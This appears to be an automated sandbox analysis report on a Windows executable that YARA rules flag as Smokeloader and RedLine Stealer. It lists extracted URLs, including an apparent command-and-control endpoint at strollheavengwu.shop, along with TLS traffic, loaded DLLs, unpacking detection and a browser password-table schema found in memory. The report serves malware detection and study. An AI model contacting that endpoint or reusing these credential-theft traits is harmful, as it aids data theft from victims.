Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691844417.0000000001C7C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000002.1925173070.0000000001C4C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C7A000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/
Source: 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/:
Source: 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/a
Source: 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001C98000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001C95000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000002.1925173070.0000000001C4C000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api
Source: 2FjvjcayaH.exe, 00000000.00000002.1925276282.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1764580950.0000000001CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api(
Source: 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apiIDi
Source: 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apien
Source: 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apius
Source: 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1701443246.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apiy
Source: 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/n
Source: 2FjvjcayaH.exe, 00000000.00000003.1692190089.000000000425E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 2FjvjcayaH.exe, 00000000.00000003.1692190089.000000000425C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004255000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 2FjvjcayaH.exe, 00000000.00000003.1692190089.000000000425C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004255000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 2FjvjcayaH.exe, 00000000.00000003.1692276946.0000000004230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2FjvjcayaH.exe, 00000000.00000003.1712263744.0000000004321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1925141876.0000000001C1E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00421370	0_2_00421370
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_004046D0	0_2_004046D0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00420C42	0_2_00420C42
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00406030	0_2_00406030
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00421090	0_2_00421090
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00426097	0_2_00426097
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00410140	0_2_00410140
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00426148	0_2_00426148
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_004261C3	0_2_004261C3
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_004261D5	0_2_004261D5
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00403492	0_2_00403492
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00405567	0_2_00405567
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_004365C0	0_2_004365C0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_004065F0	0_2_004065F0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00403670	0_2_00403670
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_0043B6A0	0_2_0043B6A0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_0040581F	0_2_0040581F
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00433950	0_2_00433950
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_0043B9D0	0_2_0043B9D0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_004069B4	0_2_004069B4
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00405B18	0_2_00405B18
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_0041DB22	0_2_0041DB22
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00407C70	0_2_00407C70
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00403CEF	0_2_00403CEF
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_00402EC0	0_2_00402EC0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB3127	0_2_01BB3127
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BD63AF	0_2_01BD63AF
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BC03A7	0_2_01BC03A7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB6297	0_2_01BB6297
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BD62FE	0_2_01BD62FE
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB55DB	0_2_01BB55DB
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BD15D7	0_2_01BD15D7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB3517	0_2_01BB3517
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BD643C	0_2_01BD643C
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BD642A	0_2_01BD642A
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB4937	0_2_01BB4937
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BEB907	0_2_01BEB907
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BE6827	0_2_01BE6827
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BE3BB7	0_2_01BE3BB7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BEBC37	0_2_01BEBC37
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB3F47	0_2_01BB3F47
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01BB7ED7	0_2_01BB7ED7

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: String function: 01BB8957 appears 34 times
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: String function: 004102E0 appears 188 times
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: String function: 01BC0547 appears 188 times
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: String function: 004086F0 appears 34 times

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1464

Source: 2FjvjcayaH.exe, 00000000.00000000.1670713760.0000000001A13000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs 2FjvjcayaH.exe
Source: 2FjvjcayaH.exe, 00000000.00000003.1671492538.0000000001C6F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs 2FjvjcayaH.exe
Source: 2FjvjcayaH.exe	Binary or memory string: OriginalFilenameFires0 vs 2FjvjcayaH.exe

Source: 2FjvjcayaH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1925141876.0000000001C1E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/9@1/1

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Code function: 0_2_01C1F5E6 CreateToolhelp32Snapshot,Module32First,

0_2_01C1F5E6

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Code function: 0_2_004286B8 CoCreateInstance,

0_2_004286B8

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7516

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\1db5e2ab-4ac0-4546-adfd-dde8c06a0fca

Jump to behavior

Source: 2FjvjcayaH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004205000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692476691.0000000004234000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2FjvjcayaH.exe	ReversingLabs: Detection: 39%
Source: 2FjvjcayaH.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

File read: C:\Users\user\Desktop\2FjvjcayaH.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2FjvjcayaH.exe "C:\Users\user\Desktop\2FjvjcayaH.exe"
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1464
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1612

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 2FjvjcayaH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\zehilix.pdb source: 2FjvjcayaH.exe
Source:	Binary string: cONGC:\zehilix.pdb source: 2FjvjcayaH.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Unpacked PE file: 0.2.2FjvjcayaH.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Unpacked PE file: 0.2.2FjvjcayaH.exe.400000.0.unpack

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01C25110 push esi; retf		0_2_01C25114
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 0_2_01C250FB push es; iretd		0_2_01C2510D

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
